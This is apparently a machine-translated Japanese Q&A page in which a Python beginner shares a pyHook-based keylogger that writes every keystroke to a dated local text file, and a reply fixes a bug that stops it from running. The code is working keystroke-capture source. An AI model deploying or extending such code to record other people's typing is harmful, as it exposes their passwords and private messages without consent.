2016-11-24 10 views
1

私はちょうどPythonでプログラミングを始めました。私の最初の "プロジェクト"はキーロガーです。私はここや他のフォーラムに掲載されたコードをいくつか読んだ。私はこのコードを書きました。これは、押されたキーを記録し、Enterキーが押されるたびに.txtファイル内で新しい行を開始する必要があります。誰かに私に助言をお願いしますか?いくつかの機能を備えたPython Keylogger

import pythoncom, pyHook 
from datetime import datetime 
date_today = datetime.now().strftime('%Y-%b-%d') 
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt' 

def OnKeyboardEvent(event): 
    if event.Ascii: 
     log = open(file_log,"a") 
     char = chr(event.Ascii) 
     if event.Ascii == 13: 
      log.write('\n') 
     log.write(char) 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent() 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

ありがとうございました!

編集:ファイルがありません新しいプロセスとして、開始またはファイルをログに記録していないようだが、スタート

+0

アドバイスは何ですか?何か動作していないのですか? – TigerhawkT3

答えて

2

時に作成されhttps://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/

での例と比較してくださいあなたは

あなたのラインが表示されます
hm.KeyDown = OnKeyboardEvent() 

は、末尾が()であってはなりません。あなたはKeyDownが関数の結果ではなく、関数の結果を得るようにしたい。

関連する問題